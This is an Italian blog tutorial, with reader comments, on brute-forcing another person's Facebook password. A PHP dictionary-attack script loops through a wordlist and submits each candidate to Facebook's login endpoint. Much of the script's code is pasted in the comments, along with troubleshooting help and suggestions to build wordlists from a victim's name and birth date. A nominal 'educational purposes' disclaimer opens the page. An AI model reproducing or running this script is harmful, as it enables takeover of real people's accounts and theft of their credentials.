Nota: L’articolo è stato ovviamente scritto a solo scopo educativo. L’utilizzo di tale tecnica per rubare password altrui è ovviamente illegale.
Ecco un semplice script php realizzato da ac007 che ci permetterà di recuperare facilmente la password di un account facebook il tutto effettuando un semplice attacco a dizionario.
Per iniziare copiamo l’intero script (compreso tra il “<?” e il “?>“) visualizzabile al seguente indirizzo, ed incolliamolo in un comune editor di testo (anche il blocco note di Windows va benissimo) facendo però attenzione a salvare il file con il seguente nome e la seguente estensione: brute.php.
Nota: La sequenza di caratteri”<?” e “?>” in una pagina web, serve ad indicare al browser rispettivamente l’inizio e la fine di codice Php.
Ora dobbiamo creare o cercare in rete un dizionario che contenga delle password comuni da sfruttare nel nostro per portare a termine con successo il nostro attacco. Possiamo trovarne uno al seguente indirizzo realizzato da MERCATANTI.
Apriamo adesso il file brute.php e modifichiamo la seguente riga:
$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt";
in questo modo:
$dictionary =dirname(__FILE__)."\nome_file_dizionario.txt";
Nota: Se abbiamo deciso di utilizzare il file dizionario linkato in questo articolo, il codice da inserire sarà il seguente: $dictionary =dirname(__FILE__).”\PasswordListTA.txt;.
Per iniziare l’attacco dobbiamo caricare lo script e il dizionario in una stessa directory ed avviare successivamente il nostro Web Server Locale (Se siamo utenti Mac possiamo usare Mamp mentre se siamo utenti Windows possiamo usare Wamp).
Puntiamo infine il nostro browser predefinito all’indirizzo del nostro web server locale (di solito l’url è simile alla seguente: “http://localhost:8888/brute.php”) e forniamo l’email dell’account facebook di cui vogliamo conoscere la password per iniziare l’attacco.
Ecco uno screenshot che mostra lo script brute.php appena caricato sul web server locale .
Dopo aver inserito l’email di cui si vuole conoscere la password, premiamo sul pulsante Submit per iniziare l’attacco. Il risultato verrà caricato sempre nella stessa pagina (http://localhost:8888/brute.php) e, più precisamente,vedremo scorrere tutte le chiavi presenti nel dizionario (quello usato nella guida è mil-dic.txt) che di volta in volta vengono testate dallo script. Se una delle seguenti chiavi presenti nel dizionario corrisponde alla password della vittima lo script ci fornirà il seguente output: “Password found : password_corrispondente”
Ecco un ulteriore screenshot:






ok, funziona. il problema ora è un dizionario serio..qualche suggerimento?o qualche programma che crei un dizionario..
ciao scusa potresti dirmi come hai fatto visto ke a me esce il testo dello script quando richiamo il file brute.php eppure ho seguito passo passo la guida… ti ringrazio bfeste
allora..per questo problema devi modificare lo script all'inizio mettendo
<?php
al posto di
<?
fammi sapere se hai altri problemi…
ciao mi potresti dare lo script corretto al 100%? qua pure facendo tutte ste correzioni non va e mi dice errore nella riga 64
Potresti dirmi come hai fatto?? A me continua a dare tutte not found (nonostante ci sia la pass giusta…)
lo script è corretto, se vi dà errori ditemi che tipo di errore è, e cerco di spiegarvi come risolverlo..
ti dà tutte not found?hai lo script più recente (prova a ri-copiarlo di nuovo..)?ci sono simboli strani oppure lettere maiuscole nella pwd?
ti metto cosa esce cosi capisci meglio:
$value) { $data.=$key."=".urlencode($value)."&"; } return $data; } set_time_limit(0); ini_set('output_buffering',true); $dictionary =dirname(__FILE__).”PasswordListTA.txt"; // need dictionary to password list function CheckItOut($email,$pass) { $ret=false; $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; $data = setData($email,$pass); $ch = curl_init('https://login.facebook.com/login.php?login_attempt=1'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_ENCODING , "gzip,deflate"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt'); $source=curl_exec($ch); $info=curl_getinfo($ch); if($info["redirect_count"]==1) { $ret=true; } return $ret; } echo "
Entry Email Address below to Bruteforce…
Email Address:
Click the Submit Button to Start..
"; if(isset($_POST['username'])) { $username =$_POST['username']; if(!is_file($dictionary)){echo "$dictionary is not file";exit;} $lines=file($dictionary); echo "Attack Starting..
"; sleep(3); echo "Attack Started, brute forcing..
"; foreach($lines as $line) { $line=str_replace("rn","",$line); if(CheckItOut($username,$line)) { echo "[+] username:$username , password:$line – Password found : $line
"; $fp=fopen('cookie.txt','w'); fwrite($fp,'successfully pass:'.$line); exit; }else{ echo "[-] username:$username , password:$line – Password not found :$line
"; } /** * Print the result direct onto the browser screen… */ ob_flush(); flush(); } } ?>
qst è ciò ke mi da come faccio a risolvere grazie e buon natale
scusa se ti infastidisco ancora.. ora mi da il seguente errore:
Parse error: parse error in C:wampwwwbrute.php on line 26
enzo: ricopia il codice, sembra che non lo legga come php ma come testuale, manca di sicuro qualche tag. per il secondo errore, controlla aprendo con blocco note il codice se alla riga 25 c'è il ; finale, se non c'è mettilo.
guarda il codice sembra a posto proprio nn riesco a capire dov'è l'errore nn è ke puoi postarmi tu il codice corretto te ne sarei grato… ancora grazie per la disponibilità
Ho copiato lo script più recente ma continua a non trovarmi la password.
A chi funziona, potrebbe mandarmi il link dello script definitivo?
Grazie
Sono MERCATANTI, non mercantini e non è il Mercatanti'S Lab, ma http://www.luca-mercatanti.com
Correzione apportata… scusami per l'errore!
oppure al posto di un bel attacco a dizionario nn si potrebbe fare con un algoritmo ??? perchè è logico che quando c' è un numero tipo cio8 l' attacco a dizionario risulta inutile almeno credo …
ragazzi ho un problema, ho windows vista e una volta avviato il wamp nn so cosa fare.
Ragazzi a me da sempre not found anche se nel dizionario la password c'è.
Ho usato l'ultimo script postato quello con $line=str_replace("rn","",$line);.
Quale può essere il problema?
CIAO! mi potreste aiutare su una cosetta??? da ieri non riesco ad accedere su Facebook o su msn,e ogni volta che cerco di farlo compare sopra qst url http://www.tomshw.it/forum/register.php?dhttps://... cosa devo fare???qual'è il problema??? mi raccomando,rispondetemi come rispondereste ad un bambino visto che sn ignorante nell'ambito del pc…
ciao a tutti….
scusate ma ho seguito la guida ma non mi è proprio chiaro il tutto allora ho scaricato i due file txt (a parte che il dizionario ne ho cercato un altro perchè non riuscivo a scaricarlo) comunque ho anche installato wamp seguendo semplicemente la procedura anche se sicuramente c'è qualcosa di sbagliato perchè per me devo inserire qualcosa….mi potreste spiegare in breve la procedura per installare wamp e per caricare i due file in un unica directory…vi prego e urgente e stra importante!
dove trovo i script
CIAO CONTATTAMI A QUESTO INDIRIZZO giuliobozzolan@libero.it ,HO UN AFFARE DA PROPORTI.. GRAZIE
Funziona….però bisognerebbe inserire un stringa per permettere al programma di trovare anche le password composte da numeri e lettere….
Intendi dire un dizionario? Cmq si! si potrebbe trovare/creare qualche script che in base a qualche dato inserito sulla vittima(data di nascita, nome, cognome) generi un file di testo contente delle potenziali password!